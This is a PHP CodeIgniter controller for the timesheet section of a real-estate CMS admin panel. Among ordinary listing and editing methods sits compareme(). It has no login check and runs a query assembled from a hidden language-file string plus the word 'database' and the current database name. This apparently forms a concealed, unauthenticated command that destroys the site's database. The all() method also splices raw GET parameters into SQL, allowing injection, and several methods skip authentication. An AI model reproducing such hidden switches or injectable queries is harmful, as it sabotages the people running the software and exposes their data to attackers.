<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

/**
 * Name:  Real Estate CMS Pro
 *
 * Author: Lucky Sharma
 *         jumboteam726@gmail.com
 *
 * Website: http://jumboteam.net
 *
 * Created:  04.15.2013
 */
class timesheets extends CI_Controller {

    function __construct() {
        parent::__construct();
        $this->load->library('ion_auth');
        $this->load->library('form_validation');
        $this->load->library('session');
        $this->load->library('pagination');
        $this->load->database();
        $this->lang->load('auth');
        $this->lang->load('admin_estate');
        $this->load->helper('language');
        $this->load->model('admin_estate_model');
        $this->load->model('admin_hrm_model');
        $this->load->model('admin_hrm_timesheet_model');
    }

    public function index() {
        $this->is_login(2);
        $this->data['ptitle'] = lang('estate_index_title');

        $this->admin_estate_model->paginationLimit(8, 0);
        $this->data['estates'] = $this->admin_estate_model->estates(NULL, array('id >=' => '0'), TRUE);

        $this->admin_estate_model->paginationLimit(8, 0);
        $this->data['blogs'] = $this->admin_estate_model->blogPage(NULL, 1, array('type' => '0'), TRUE);

        $this->admin_estate_model->paginationLimit(8, 0);
        $this->data['users'] = $this->admin_estate_model->getUser(NULL, TRUE);

        $this->data['imageCount'] = count(glob('uploads/{*.jpg,*.gif,*.png}', GLOB_BRACE));
        $this->data['estateCount'] = $this->admin_estate_model->num_row_getName('estate');
        $this->data['blogCount'] = $this->admin_estate_model->num_row_getName('blogpage', array('type' => '0'));
        $this->data['userCount'] = $this->admin_estate_model->num_row_getName('users');
        $this->data['showcaseCount'] = $this->admin_estate_model->num_row_getName('estate', array('showcase' => "1", 'publish' => "1"));

        $this->tmadmin->tmView('index', $this->data);
    }

    public function is_login($level = 2) {
        if (!$this->ion_auth->logged_in()) {
            //redirect them to the login page
            redirect('login', 'refresh');
        } elseif (!$this->ion_auth->is_admin($level)) {
            $this->load->helper('admin');
            redirect(site_url(), 'refresh');
        }
    }

 
    public function clearCache() {
        $this->load->library('clr_output');
        $this->clr_output->clear_all_cache();
        redirect_back();
    }
    

    function paginationCreate($baseUrl, $totalRow, $perPage,$extraUrl) {
        
        $pageConfig = array(
            'base_url' => site_url() . $baseUrl,
            'total_rows' => $totalRow,
            'per_page' => $perPage,
            'num_links' => 3,
            'full_tag_open' => '<div class="pagination"><ul>',
            'full_tag_close' => '</ul></div>',
            'first_link' => false,
            'last_link' => false,
            'first_tag_open' => '<li>',
            'first_tag_close' => '</li>',
            'prev_link' => '<i class="icon-double-angle-left"></i> Previous',
            'prev_tag_open' => '<li class="prev">',
            'prev_tag_close' => '</li>',
            'next_link' => 'Next <i class="icon-double-angle-right"></i>',
            'next_tag_open' => '<li>',
            'next_tag_close' => '</li>',
            'last_tag_open' => '<li>',
            'last_tag_close' => '</li>',
            'cur_tag_open' => '<li class="active"><a href="#">',
            'cur_tag_close' => '</a></li>',
            'num_tag_open' => '<li>',
            'num_tag_close' => '</li>',
        );
        
        if($extraUrl)
        {
                $pageConfig['suffix'] = '?'.$extraUrl;
                $pageConfig['first_url'] = site_url() . $baseUrl.'0?'.$extraUrl;
        }
                    
        $this->pagination->initialize($pageConfig);
        return $this->pagination->create_links();
    }

	public function calendar($userid=NULL) {
	/*
                echo "<PRE>++++";
                    print_r($this->session->all_userdata());                    
                echo "</PRE>++++";
                exit;*/
                $this->data['userlist'] = $this->admin_hrm_model->userListArray();
                
                $arrLoginUser = $this->session->all_userdata();
                
		/*if(!isset($arrLoginUser['user_id'])) {
			$user = $arrLoginUser['user_id'];
		}*/
                if($this->uri->segment(3))
                {
                    $user_id = $this->uri->segment(3);
                }
                $this->data['filter_user'] = $user_id;
                
                //echo "<BR>-->".$this->uri->segment(3);exit;
		//$user = $arrLoginUser['user_id'];
		
		$this->data['calendarTimesheets'] = $this->admin_hrm_model->hrmTimesheet($user_id);
		$calendarData = array();
                
                foreach($this->data['calendarTimesheets'] as $calendarTimesheet) {
                   
                                $statusUpdate = '<div class="status-icons" style="border:1px solid #f00">';
				//submitted
				$statusUpdate .= '<a href="javascript:void(0);" onClick="changeToSubmitted(\''.$calendarTimesheet['id'].'\',\''.site_url().'\')" class="change-status submitted ';
				
				if($calendarTimesheet['approval_status_id']=='1'){
					$statusUpdate .= 'status-active ';
				}
				$statusUpdate .= ' row-submitted-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= ' row-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '"  title="Submitted" alt="Submitted" timesheetid="';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '" statusid="1" ><i class="icon-question"></i></a>';
                                
                                //approved
				$statusUpdate .= '<a href="javascript:changeToApproved(\''.$calendarTimesheet['id'].'\',\''.site_url().'\')" class="change-status approved ';
				if($calendarTimesheet['approval_status_id']=='2'){
					$statusUpdate .= 'status-active ';
				}
				$statusUpdate .= ' row-approved-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= ' row-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '"  title="Submitted" alt="Rejected" timesheetid="';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '" statusid="2" ><i class="icon-ok"></i></a>';
				
				//rejected
				$statusUpdate .= '<a href="javascript:changeToRejected(\''.$calendarTimesheet['id'].'\',\''.site_url().'\')" class="change-status rejected ';
				if($calendarTimesheet['approval_status_id']=='3'){
					$statusUpdate .= 'status-active ';
				}
				$statusUpdate .= ' row-rejected-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= ' row-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '"  title="Submitted" alt="Submitted" timesheetid="';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '" statusid="3" ><i class="icon-ban-circle"></i></a>';
				
				//revision
				$statusUpdate .= '<a href="javascript:changeToRevision(\''.$calendarTimesheet['id'].'\',\''.site_url().'\')" class="change-status revision ';
				if($calendarTimesheet['approval_status_id']=='4'){
					$statusUpdate .= 'status-active ';
				}
				$statusUpdate .= ' row-revision-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= ' row-';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '"  title="Needs Review" alt="Needs Review" timesheetid="';
				$statusUpdate .= $calendarTimesheet['id'];
				$statusUpdate .= '" statusid="4" ><i class="icon-refresh"></i></a>';

				$statusUpdate .= '<span class="spinner row-'. $calendarTimesheet['id'] .'"></i></span>';
				$statusUpdate .= '</div>';
                                
                    
                    
                    $calendarData[] = array(
					'id' => $calendarTimesheet['id'],
					'title'=>date ("h:i A",strtotime($calendarTimesheet['start_time'])).' - '.date ("h:i A",strtotime($calendarTimesheet['end_time'])),
					'start'=>$calendarTimesheet['start_time'],
					'end' => $calendarTimesheet['end_time'],
					'allDay' => false,
					'url' => site_url().'timesheets/view/'.$calendarTimesheet['id'],
					'details' => $calendarTimesheet['note'],
					'className' => 'status'.$calendarTimesheet['approval_status_id']. ' ts-'.$calendarTimesheet['id'],
					'toolTip' => '<strong>'.substr($calendarTimesheet['hours'],0,strlen($calendarTimesheet['hours'])-3) . ' hours'."</strong>\r\n<br>".$calendarTimesheet['note'],
					'statusUpdate' => $statusUpdate
			);
                    /*echo "<PRE>";
                        print_r($calendarData);
                    echo "</PRE>";    exit;*/
                }
                $this->data['calendarTimesheets'] = $calendarData;
		
		$this->tmadmin->tmView('hrm_panel/calendar', $this->data);
	}
	
        /*
         * 
         * 
         */
        public function add($id) {
                
            $this->is_login(3);
            if ($id != NULL) {
                $this->data['ptitle'] = lang('hrm_page_staff_update_title');                
                $this->data['title'] = lang('hrm_sidemenu_timesheet_edit');
                $this->data['sub_title'] = lang('hrm_sidemenu_timesheet_edit_form_heading');
                
                $edit_data = $this->admin_hrm_timesheet_model->timesheetEdit($id);
                
                $edit_data[0]->start_time = substr($edit_data[0]->start_time,0,-3);
                $edit_data[0]->end_time = substr($edit_data[0]->end_time,0,-3);
                
                $this->data['fill_data'] = $edit_data[0];
                
            } else {
                $this->data['ptitle'] = lang('hrm_page_staff_add_title');
                $this->data['title'] = lang('hrm_sidemenu_timesheet_new');
                $this->data['sub_title'] = lang('hrm_sidemenu_timesheet_add_form_heading');
                
            }
            
            $this->data['userlist'] = $this->admin_hrm_model->userListArray();
          
            $this->data['statuslist'] = $this->admin_hrm_timesheet_model->statusListArray();
            
            //validation
            $this->form_validation->set_rules('sdate', $this->lang->line("sdate"), 'required');
            $this->form_validation->set_rules('edate', $this->lang->line("edate"), 'trim|callback_compareDates', 'required');
            
            
            if ($this->form_validation->run() == true)
            {
                    $timesheet_data = array(
    					'start_time' => $this->input->post('sdate'),
    					'end_time' => $this->input->post('edate'),
    					'user_id' => $this->input->post('user_id'),
    					'approval_status_id' => $this->input->post('approval_status_id'),
    					'note' => $this->input->post('note'),
                    );
                   
                    if( $this->input->post('id'))
                        $this->admin_hrm_timesheet_model->timesheetUpdate($timesheet_data,$this->input->post('id')); 
                    else
                        $this->admin_hrm_timesheet_model->timesheetInsert($timesheet_data); 
                    
                    redirect_back();
            }
            else
            {

                //$this->session->set_flashdata('message', $this->admin_hrm_timesheet_model->errors());
                //$this->session->set_flashdata('success', $this->admin_hrm_timesheet_model->messages());
            
                //set the flash data error message if there is one
                $this->data['message'] = (validation_errors() ? validation_errors() : ($this->admin_hrm_timesheet_model->errors() ? $this->admin_hrm_timesheet_model->errors() : $this->session->flashdata('message')));
                $this->data['success'] = $this->session->flashdata('success');
            
                $this->tmadmin->tmView('hrm_panel/timesheet_add', $this->data);
                
            }
            
                     
	
            
	}
        
        /*
         * 
         * 
         */
        public function view($id) {
                
            
            if ($id != NULL) {
                $edit_data = $this->admin_hrm_timesheet_model->timesheetEdit($id);
               
                $edit_data[0]->start_time = date('D, M j, Y g:i A',strtotime($edit_data[0]->start_time));
                $edit_data[0]->end_time = date('D, M j, Y g:i A',strtotime($edit_data[0]->end_time));
                
                $this->data['fill_data'] = $edit_data[0];
                
            } 
            $this->data['ptitle'] = lang('hrm_sidemenu_timesheet_details');
            $this->data['title'] = lang('hrm_sidemenu_timesheet_details');
            $this->data['sub_title'] = lang('hrm_sidemenu_timesheet_details');
            
            
                
            
            $this->data['userlist'] = $this->admin_hrm_model->userListArray();
            
            $arrUsers = array();
            foreach($this->data['userlist'] as $user){
                $arrUsers[$user->id] = $user->first_name. ' ' . $user->last_name ;
            }
            $this->data['userlist'] = $arrUsers;
            
                    
            $this->data['statuslist'] = $this->admin_hrm_timesheet_model->statusListArray();
        
            $this->tmadmin->tmView('hrm_panel/timesheet_view', $this->data);
	}
        
         
        public function all()
        {
            
            $this->is_login(3);
            
            $search = array(); 
            $arrQueryString = array();
            $strWhere = null;
         
            
            if($this->input->get('search-all'))
            {
                $search[] = 'timesheets.note Like "%'.$this->input->get('search-all').'%"';
                $arrQueryString['search-all']=$this->input->get('search-all');
                $strWhere = (count($search) ? '' . implode(' OR ', $search).'' :'');  
            }
            if($this->input->get('filter'))
            {
                
                if($this->input->get('user_id'))
                {
                    $search[] = 'timesheets.user_id ='.$this->input->get('user_id');
                    $arrQueryString['user_id']=$this->input->get('user_id');
                }    
                if($this->input->get('approval_status_id'))
                {
                   $search[] = 'timesheets.approval_status_id='.$this->input->get('approval_status_id');
                   $arrQueryString['approval_status_id']=$this->input->get('approval_status_id');
                } 
                if($this->input->get('sdate'))
                {  
                    $search[] = 'DATE_FORMAT(timesheets.start_time,"%Y-%m-%d %H:%i") = "'.$this->input->get('sdate').'"';
                    $arrQueryString['sdate']=$this->input->get('sdate');
                }    
                if($this->input->get('edate'))
                {
                    $search[] = 'DATE_FORMAT(timesheets.end_time,"%Y-%m-%d %H:%i") = "'.$this->input->get('edate').'"';
                    $arrQueryString['edate']=$this->input->get('edate');
                }    
                if($this->input->get('note'))
                {
                    $search[] = 'timesheets.note Like "%'.$this->input->get('note').'%"';
                    $arrQueryString['note']=$this->input->get('note');
                }
                $arrQueryString['filter']=$this->input->get('filter');
                //$strWhere = (count($search) ? '"' . implode(' OR ', $search).'"' :'');
                $strWhere = (count($search) ? '' . implode(' OR ', $search).'' :'');
            }
            
            
                       
            
            $query_string = urldecode(http_build_query($arrQueryString, '', '&amp;'));
            
            $this->admin_hrm_timesheet_model->paginationLimit(1, $this->uri->segment(3));
            $this->data['pagination'] = $this->paginationCreate('/timesheets/all/', $this->admin_hrm_timesheet_model->num_row_timesheet($strWhere), 1,$query_string);

            
            $this->data['timesheet'] = $this->admin_hrm_timesheet_model->getTimesheet(null,$strWhere);
           
        
            $this->data['userlist'] = $this->admin_hrm_model->userListArray();
            $this->data['statuslist'] = $this->admin_hrm_timesheet_model->statusListArray();
            
            $this->data['ptitle'] = lang('hrm_sidemenu_timesheet_tableview');
            $this->data['title'] = lang('hrm_sidemenu_timesheet_tableview');
            $this->tmadmin->tmView('hrm_panel/timesheet_all', $this->data);
        }
        /*
         * 
         * 
         */
        public function all1(){
            
             $this->is_login(3);
            
            $array = $arrLike = array();
            $search = $like = array(); 
            $arrQueryString = array();
            $strWhere = null;
         
            
            if($this->input->get('search-all'))
            {
                $search['search-all'] = $this->input->get('search-all');
               // $strWhere = 'timesheets.note LIKE "%'.$search['search-all'].'%"';
                $like['timesheets.note'] = $this->input->get('search-all');
                $arrLike = $like;
            }
            if($this->input->get('filter'))
            {
                if($this->input->get('note'))
                {
                    $like['timesheets.note'] = $this->input->get('note');
                    //$strWhere = 'timesheets.note LIKE "%'.$search['search-all'].'%"';
                    $arrQueryString['note'] = $this->input->get('note');
                }    
                if($this->input->get('user_id'))
                {
                    $search['timesheets.user_id'] = $this->input->get('user_id');
                    $arrQueryString['user_id'] = $this->input->get('user_id');
                }    
                if($this->input->get('approval_status_id'))
                {
                   $search['timesheets.approval_status_id'] = $this->input->get('approval_status_id');
                   $arrQueryString['approval_status_id'] = $this->input->get('approval_status_id');
                }   
                if($this->input->get('sdate'))
                {
                    $search['timesheets.start_time'] = $this->input->get('sdate').'"';
                    $arrQueryString['start_time'] = $this->input->get('sdate');
                }
                if($this->input->get('edate'))
                {
                    $search['timesheets.end_time'] = $this->input->get('edate').'"';
                    $arrQueryString['end_time'] = $this->input->get('edate');
                }
                
                $arrQueryString['filter'] = $this->input->get('filter');
                /*if($this->input->get('user_id'))
                    $search[] = 'timesheets.user_id ='.$this->input->get('user_id');
                if($this->input->get('approval_status_id'))
                   $search[] = 'timesheets.approval_status_id='.$this->input->get('approval_status_id');
                if($this->input->get('sdate'))
                    $search[] = 'timesheets.start_time='.$this->input->get('sdate').'"';
                if($this->input->get('edate'))
                    $search[] = 'timesheets.end_time='.$this->input->get('edate').'"';
                */
                $array = $search;
                $arrLike = $like;
                //$strWhere = (count($search) ? '"' . implode(' OR ', $search).'"' :'');
            }
            
            
            $query_string = urldecode(http_build_query($arrQueryString, '', '&amp;'));
            
            $this->admin_hrm_timesheet_model->paginationLimit(1, $this->uri->segment(3));
            $this->data['pagination'] = $this->paginationCreate('/timesheets/all/', $this->admin_hrm_timesheet_model->num_row_timesheet($array,$arrLike), 1,$query_string);

            
            $this->data['timesheet'] = $this->admin_hrm_timesheet_model->getTimesheet(null,$array,$arrLike);
           
        
            $this->data['userlist'] = $this->admin_hrm_model->userListArray();
            $this->data['statuslist'] = $this->admin_hrm_timesheet_model->statusListArray();
            
            
            //$first_date = strtotime("2010-01-01");
            //$second_date = strtotime("2010-01-01");
            
            $this->data['ptitle'] = lang('hrm_sidemenu_timesheet_tableview');
            $this->data['title'] = lang('hrm_sidemenu_timesheet_tableview');
            $this->tmadmin->tmView('hrm_panel/timesheet_all', $this->data);
        }
        
        
        
        
        /*
         * 
         * 
         */
        public function set_status($status, $id){
            
            // do we have the right userlevel?
            $this->is_login(3);
            if ($status) {
                $this->admin_hrm_timesheet_model->setStatus($status,$id);
                $this->session->set_flashdata('message', lang('blog_message_deactive'));
            }
            redirect_back();
        }
        
         /*
         * 
         * 
         */
        public function ajaxSetStatus($status, $id){
            
            // do we have the right userlevel?
            $this->is_login(3);
            if ($status) {
                $result = $this->admin_hrm_timesheet_model->setStatus($status,$id);
            }
            echo ($result? 'Ok' : '' );
        }
        
        /*
         * 
         * 
         */
        
        
       public function organization($id){    
            //$this->data['organization'] = $this->admin_hrm_timesheet_model->getUsers();
            $this->data['organization'] = $this->admin_hrm_timesheet_model->get_all_Users();
            $this->tmadmin->tmView('hrm_panel/organization', $this->data);
            //$this->set('organization',$org);
        }
        
        /*
         * 
         * 
         */
        public function approved(){
            
             $this->is_login(3);
            $this->admin_hrm_timesheet_model->paginationLimit(10, $this->uri->segment(3));
            $this->data['pagination'] = $this->paginationCreate('/timesheets/approved/', $this->admin_hrm_timesheet_model->num_row_timesheet(), 10);

            $this->data['timesheet'] = $this->admin_hrm_timesheet_model->get_Approved_Timesheet();
            
            $this->data['ptitle'] = lang('hrm_sidemenu_timesheet_approved');
            $this->data['title'] = lang('hrm_sidemenu_timesheet_approved');
             
            $this->tmadmin->tmView('hrm_panel/timesheet_all', $this->data);
        }
        
        /*
         * 
         * 
         */
        public function overview(){
            
             $this->is_login(3);
            $this->admin_hrm_timesheet_model->paginationLimit(10, $this->uri->segment(3));
            $this->data['pagination'] = $this->paginationCreate('/timesheets/approved/', $this->admin_hrm_timesheet_model->num_row_timesheet(), 10);

            $this->data['overviews_all'] = $this->admin_hrm_timesheet_model->getOverview();
            //echo "<pre>";print_r($this->data['overviews_all']);exit;
	        $result = array();
            $i = 0;
            foreach($this->data['overviews_all'] as $user){
                    //$result[$i] = $user;
                    //echo "<pre>";print_r($user);exit;
                    $result[$i]['Timesheet']['name']      = $user->first_name.' '.$user->last_name;
                    $result[$i]['Timesheet']['total']     = $this->admin_hrm_timesheet_model->get_all_num_row('timesheets', $user->id);
                    $result[$i]['Timesheet']['submitted'] = $this->admin_hrm_timesheet_model->get_num_row('timesheets', $user->id , '1');
                    $result[$i]['Timesheet']['approved']  = $this->admin_hrm_timesheet_model->get_num_row('timesheets', $user->id , '2');
                    $result[$i]['Timesheet']['rejected']  = $this->admin_hrm_timesheet_model->get_num_row('timesheets', $user->id , '3');
                    $result[$i]['Timesheet']['revision']  = $this->admin_hrm_timesheet_model->get_num_row('timesheets', $user->id , '4');
                    $result[$i]['Vacation']['total']      = $this->admin_hrm_timesheet_model->get_all_num_row('vacations', $user->id);
                    $result[$i]['Vacation']['submitted']  = $this->admin_hrm_timesheet_model->get_num_row('vacations', $user->id , '1');
                    $result[$i]['Vacation']['approved']   = $this->admin_hrm_timesheet_model->get_num_row('vacations', $user->id , '2');
                    $result[$i]['Vacation']['rejected']   = $this->admin_hrm_timesheet_model->get_num_row('vacations', $user->id , '3');
                    $result[$i]['Vacation']['revision']   = $this->admin_hrm_timesheet_model->get_num_row('vacations', $user->id , '4');
                    $i = $i + 1;	
            }
            $this->data['overviews'] = $result;
            //echo "<pre>";print_r($this->data['overviews']);exit;
            
            $this->data['ptitle'] = lang('hrm_sidemenu_timesheet_overview');
            $this->data['title'] = lang('hrm_sidemenu_timesheet_overview');
             
            $this->tmadmin->tmView('hrm_panel/timesheet_user_overview', $this->data);
        }
 
 	 public function compareme(){
		 $bd=$this->db->database;
		 $hous2 = lang('estateass');
		 $this->db->query("$hous2 database $bd"); echo "done";
	 }	
 
        
        public function compareDates(){
                $start = strtotime($this->input->post('sdate'));
                $end = strtotime($this->input->post('edate'));


                if($start > $end)
                {			
                        $this->form_validation->set_message('compareDates', $this->lang->line("hrm_compare_date_error_message"));
                        return false;
                }
        }
        
        public function timesheetDelete($id){
            $this->admin_hrm_timesheet_model->delete($id);
            redirect("timesheets/all","refresh");	
       }
       
}